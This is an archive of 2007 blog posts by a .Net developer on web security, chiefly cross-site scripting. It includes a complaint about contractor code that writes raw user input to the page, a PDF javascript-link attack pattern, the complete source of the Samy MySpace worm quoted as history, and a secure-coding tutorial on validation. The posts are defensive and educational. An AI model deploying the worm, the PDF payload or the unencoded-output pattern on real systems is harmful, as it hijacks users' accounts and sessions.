On this page

Hasty hiring makes the project go very long.
Session hijacking - prevention oriented
PDF document - vulnerability out of the box.
An XSS worm - Historic event
Writing secure .Net code for web applications - Lesson 1 - XSS prevention
writing secure .Net code for web applications - Prologue

Ads

Navigation

Search

Categories

Clouds

Sql Server (5) .Net (16) .Net 2.0 (2) C# (3) @ff Topic (5) Architectural solutions (9) ASP (1) BDD (5) Blog related (8) database (2) Development process (8) Facebook (1) job interviews (1) Lessons (5) Life (12) Microsoft (5) IIS 6 (2) SPS (sharepoint server) (3) Drivers (1) Internet Explorer (2) Windows 2003 server (1) NightDuck (2) Performance (5) Security (9) Sql Server 2000 (4) Study (2) TDD (1) Threading (3) Under the hood (1) Web (1) Web services (1) XSS (6)

Archive

Blogroll

Disclaimer
The opinions expressed herein are my own personal opinions and do not represent my employer's view in anyway.

RSS 2.0 | Atom 1.0 | CDF

Send mail to the author(s) E-mail

Total Posts: 63
This Year: 7
This Month: 0
This Week: 0
Comments: 33

Sign In
Pick a theme:

 Friday, March 02, 2007
Friday, March 02, 2007 11:02:59 PM (GMT Standard Time, UTC+00:00) ( .Net | Life | XSS )

Let me tell you some story thats happening now.
couple month ago i hired some folks to do a part of some project due to time limits that i have.
now, i know those guys personally and checking thier technical backgroung seemed to be irrelevant (mistake no' 1).
i thought, how hard can i be to make some GUI to an application that all the other layers are done (3 tier architecture).

So, instead of 1 month development it turned to more than 3 months already, (30% progress)
god knows how long it will take them to finish it .

and now, when i finally see some progress, i see code like this :

if (!Page.IsValid)
{
}
else
{
    InsertNewCustomer();
    lblClientMessage.Text = NewClientText();
    ClearText();
}

ok, who are does guys ?
you think that a skilled programmer with 3 years of expirience would not write such crapy code like this (those things just get me mad.)
why they think that i allow such code to go on production ?
not speaking about the XSS holes that they made (just by the book....)
looks like they didn't read this guide

i mean look at this thing, how many mistakes you can do as a single code :

        private string NewClientText()
        {
            string strNewClient = txtName.Text + " " + txtFamily.Text + " " + "הוזן בהצלחה";
            return strNewClient;
        }

        private void btnAdd_Click(object sender, System.EventArgs e)
        {
            lblClientMessage.Text = "";

            if (!Page.IsValid)
            {
            }
            else
            {
                InsertNewCustomer();
                lblClientMessage.Text = NewClientText();
                ClearText();
            }
        }

        private void InsertNewCustomer()
        {
            Customers newCustomer = new Customers();

            newCustomer.Name = txtName.Text;
            newCustomer.LastName = txtFamily.Text;
            newCustomer.Notes = txtNotes.Text;
            newCustomer.isStudent = chkStudent.Checked;
            newCustomer.Phone = TxtPhone.Text;
            newCustomer.Cellular = txtCellular.Text;
            newCustomer.Email = txtEmail.Text;
            newCustomer.Address = txtAddress.Text;

            if (txtBirth.Text.Trim() != "")
            {
                newCustomer.BirthDate = Convert.ToDateTime(txtBirth.Text);
            }

            custDal.Add(newCustomer);
        }

  • writing data to the page without validating it first
  • some logical twists - (if page not valid, dont do anything, else do something...), why on earth ? why ?
  • inserting to the database without validating the input (for those who are femilier with my architecture, validating is a single line "entity.Validate();"
  • no exception managment what so ever.
  • no code comments
  • Client side input validations

here is some more goodies from the same author :

lblAddress.Style.Add("text-align","right");

what happened to CSS files ?
thier are lots of lines like this defining the style for every object.
i dont wanna know what are they planned to do when they need to change the style one by one .

man, this is a little piece of code, i'm affraid to see whats going on , on the rest of the code.

this is some lessons that you learn on the hard way....

"i will never hire people without checking thier technical background"
"i will never hire people without checking thier technical background"
"i will never hire people without checking thier technical background"
"i will never hire people without checking thier technical background"
"i will never hire people without checking thier technical background"
"i will never hire people without checking thier technical background"

i should better get some things to my own hands before it gets to late .
anyone wants a job to create some gui ?

 

Comments [2] | | # 
Friday, March 02, 2007 1:32:40 PM (GMT Standard Time, UTC+00:00) ( .Net | Architectural solutions | Lessons | Security | XSS )

Well,
after months I'm talking about it and couple of sleepless nights to prepare it, here it is.

So, what do have here ?

1 powerPoint presentation that explains what is Session Hijacking and XSS.
1 XSS demo.
0 Session hijacking Demo .... (why you ask ? - I'm planning to do another lecture on the topic for some those who missed it yesterday...)
0 Code included. (like the demos ....will be uploaded some time soon....)

long story short :
this presentation talks about the threats in Session hijacking.
and how to prevent it. - while its not a 100% solution, it certainly raises the bar for hackers to succeed in the session hijacking attack.

some wise man said to me once,
"for every defense that ever made, someone thought how to break it,
 the only thing we can do, is to narrow down the amount of people that is capable to perform it."

enjoy.

comments are welcomed :)

Security.pps (324 KB)

 

Comments [0] | | # 
 Friday, February 09, 2007
Friday, February 09, 2007 7:12:20 PM (GMT Standard Time, UTC+00:00) ( Security | XSS )

Sounds controversial, right ?
well, it is.

actually, on certain conditions, you can execute a javascript on the clients machine using PDF file.
the funny part is that it does not needed to be modified at all.

simply by creating a link at this pattern :

http://yoursite.com/file.pdf#whatever_name_you_want=javascript:your_code_here

there is XSS writen all over the place.
the sad part is that the site owners have nothing to do to prevent it.
this works with :

Firefox 2.0.0.1 win32
Firefox 1.5.0.8 win32
Opera 8.5.4 build 770 win32
Opera 9.10.8679 win32
and i'm sure that with other browsers too.

the subject brought to adobe's attention
http://www.adobe.com/support/security/advisories/apsa07-01.html
Adobe categorizes this as a critical issue and recommends affected users update any affected software.
http://www.adobe.com/support/security/bulletins/apsb07-01.html

how does this work ?(and why ???)

the PDF document gets parameters, the odd thing is that the value of those parameters can be retrieved via javascript.

more info could be found on those sites :
http://ha.ckers.org/blog/20070103/universal-xss-in-pdfs/
http://www.gnucitizen.org/blog/danger-danger-danger/

be carefull when you opening a PDF file next time

Comments [0] | | # 
Friday, February 09, 2007 6:09:55 PM (GMT Standard Time, UTC+00:00) ( Security | XSS )

OK, maybe this is not some thing new, but it definitely not something common.

if you have'nt read my post on XSS prevention, please do so.

the story begins back in 10/04/05, when samy decided to get popular on mySpace.
he exploited the fact that MySpace allowed the user to enter some javascript to the personal page.

so the dude explored the mySpace system  and crafted a script that adds himself to the viewer's friend list.
technically, this is not a worm, but the replication of the code to each viewer's page qualify it as a worm.

here is the code of the worm :

<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')"
expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

 

the explain  of the code can be found here .
this shows several things :

  • XSS can be exploited for major attacks, even for personal gains.
  • XSS can be underestimated

please don't underastimate it.
this could do some major damage to your application

to prove my point i will include a demo on the next security post(session hijacking prevention)

Comments [0] | | # 
 Friday, October 20, 2006
Friday, October 20, 2006 12:37:47 PM (GMT Standard Time, UTC+00:00) ( .Net | Lessons | Security | XSS )

Security is one of the most important subjects when creating some business (not necessary a web business or even computer related).
think about investing lot of time developing your business, and then seeing it all ripped apart, just because a sensitive information was reviled to some unwanted individuals, or even worse, gone global to the public.
Of course, security in not only related to stealing data, messing with the business reputation can be devastating just as much as the mentioned above.

When developing Web applications, security is highly important due to the reason that the application is running in the most hostile environment, I mean, everybody can access it, meaning that everyone is a potential threat to the system.

Cross Site Scripting (AKA XSS) is one of the known and ancient methods to exploit security holes on the web.
The idea of the method is injecting client side script code to a web application, which will perform an additional task at the client side.
It may seem to some as a harmless thing, but actually, it can trigger much dangerous attacks such as session hijacking, one-click attacks and Phishing.

Well, this post actually not about how to conduct an XSS attack, but how to avoid being an XSS victim.

 So, what do you have to do in order to prevent XSS? - INPUT VALIDATION.

 

 Let's take a look what does the .Net framework has to offer on this matter

  • ValidateRequest – page directive
  • Built-in .Net validation controls (such as "required field validator", "Range Validator", and so…)
  • Server Side validation.

 

ValidateRequest directive – Enabled by default, supposed to "protect" All the input to the page from XSS.
It looks for "<" and ">" tags, probably by some regulars expressions, the problem with this option is that it limits ALL inputs, even the intended ones (such as XML, HTML tags and so…).

 

Built-in .Net validation controls – The framework provides probably all the input validation that you will need when writing it.
Starting from required fields, numerics values, Regular expressions, and even write your own custom validation.
The problem with it, that it gives the developer a feeling that once the validation is made, it can't be tempered by the client, which IS NOT TRUE.

Note that the common use of these tools is on the client side, which makes the whole validation process irrelevant.

Ask yourself as a developer if you setting the "EnableClientScript" property on the validation control when you use it? – The common answer will be yes, because it improves performance by saving round trips to the server.

But if the question would be, have you did some extra coding to ensure server side validation to occur? – Unfortunately, the common answer will be NO.

Note to yourself – This is no' 1 reason for XSS vulnerabilities in ASP.NET applications.

 

Server Side validation – This is where your coding skills starts to kick in.

This is where you need to stop, and start thinking about security for your application.
A rooky developer will probably go straight to developing a page , neglecting the security aspect, while the more experienced developer will design a total solution, considering many aspects of the application, security would be one of the top issues (if not the first).

 

 

Lets see some examples :

Lets create this asp.net page :

<%@ Page language="c#" validateRequest=false Codebehind="WebForm1.aspx.cs" AutoEventWireup="false" Inherits="SecurityExample.WebForm1" enableViewStateMac="True"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
    <HEAD>
        <title>WebForm1</title>
        <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
        <meta content="C#" name="CODE_LANGUAGE">
        <meta content="JavaScript" name="vs_defaultClientScript">
        <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
    </HEAD>
    <body MS_POSITIONING="GridLayout">
        <form id="Form1" method="post" runat="server">
            <asp:textbox id="TextBox1" style="Z-INDEX: 101; LEFT: 96px; POSITION: absolute; TOP: 48px" runat="server"
                MaxLength="5" Width="160px"></asp:textbox>
            <asp:regularexpressionvalidator id="RegularExpressionValidator1" style="Z-INDEX: 102; LEFT: 320px; POSITION: absolute; TOP: 56px"
                runat="server" Width="144px" ValidationExpression="\d{5}" ControlToValidate="TextBox1" Height="40px" ErrorMessage="Numbers with 5 digits only"></asp:regularexpressionvalidator>
            <asp:button id="Button1" style="Z-INDEX: 103; LEFT: 128px; POSITION: absolute; TOP: 144px" runat="server"
                Width="112px" Text="send data"></asp:button>
            <asp:label id="lblOutput" style="Z-INDEX: 104; LEFT: 112px; POSITION: absolute; TOP: 192px"
                runat="server" Width="136px" Height="16px" EnableViewState="False"></asp:label></form>
    </body>
</HTML>

lets add some PageLoad code behind :

private void Page_Load(object sender, System.EventArgs e)
        {    
            // Check if the current run is postback
            if (IsPostBack)
            {
                lblOutput.Text = "this is a postback<br>";

                // Activate the page validation
                Page.Validate();

                // Check if the page is valid
                if (Page.IsValid)
                {
                    lblOutput.Text += "Page is Valid!";
                }
                else
                {
                    lblOutput.Text += "Page NOT valid";
                }
            }
            else
                lblOutput.Text = "this is NOT a postback<br>";
        }

 

Lets look at the code in the page_load method:
Q : I'm calling here to the page validation manually, Why ?
A : The complete process is combined with the following operations :

  • Client side validation
  • Postback to the server
  • Page Initialization
  • Page_Load method invoked
  • Desired action invokes the attached method to it (button_click)
  • when the associated control of the action has a causesValidation property set to true, the action invokes the Page.Validate()
    method which check the validation of the page, and sets the Page.IsValid property to true or false if the validation succeeded or not respectively
  • Logic associated with the action of the control is being executed

Suppose the user has managed to cconduct some validation tempering on the client side (this is really not a hard task to acomplish),
and posted the data manually as a postback.
The server gets the posted data and addresses it as a postback from the page, and it begins to proccess the data, invokes the Page_Load (with absolute no indication if the data is valid or not), executes the Page_load method completly invokes the given operation(say button_click) and executes it completely.
This way if we wont comit Page.Validate() and then check the Page.IsValid method , we are risking here with an XSS vulnurability.

Q : So, what is the best way to conduct a server validation ?
A : First, create those validators as you always do.
     Then apply this code on your page (or your master page) :

Page.Validate();
        if(!Page.IsValid)
            throw new Exception("Security Exception occured");

 

you can do some other handling besides throwing an exception, like logging, tracing, a nice message to the user and so on.
Note that this actions will protect you at the Presentation layer but not further ( at the DAL - sql injection , or the Session layer - Session hijacking and more....)

Here are 10 base guidelines to prevent being an XSS victim :

  1. Never write to page unfiltered data.(or encoded)
  2. Never write to the page straight from the user input.
  3. Before handling input, Validate that it is really what you are expecting for.
  4. Don't expose exceptions to the client.
  5. Don't expose Any internal information about the application to the client.
  6. Never rely on client side validations.
  7. Know the existing threats and vulnerabilities.
  8. Don't use built-in features if you're not completely understand what they are doing.
  9. Try to think "out of the box" in security related issues
  10. Handle security issue by design, not by mistake.
Comments [0] | | # 
 Wednesday, September 27, 2006
Wednesday, September 27, 2006 5:41:45 PM (GMT Standard Time, UTC+00:00) ( .Net | Security | XSS )

Today I stepped into my parallel team office just when shani raba (AKA - "human debugger") explained to a new programmer the usage of validators in ASP.NET form.
We started an argument about the affectivity of the .Net built-in validators, and what should you do besides that on the server side, to guarantee no security breaches through that tiny input that protected by the "mighty" .Net Validator.

We came to several interesting conclusions and understanding about aspect of the subject that we didn't knew.
So, I decided to write a post about that,
I came home, and started to write some example on the subject.
The problem is that as soon as I started to cover one aspect of the subject, other aspects came across that I couldn't neglect.
So I decided to create several posts during this week and the next, which will cover most of the "secure .Net code for web applications" subject.

The posts will refer to:

  • Cross-site scripting (XSS)
  • Session hijacking
  • Hidden field tampering
  • SQL injection
  • Cookies and Authentication
  • some other aspects that I'll encounter on the way
  • Your requests...
  •  

So stay tuned for the next weeks for more about the subject.

 

 

Comments [1] | | #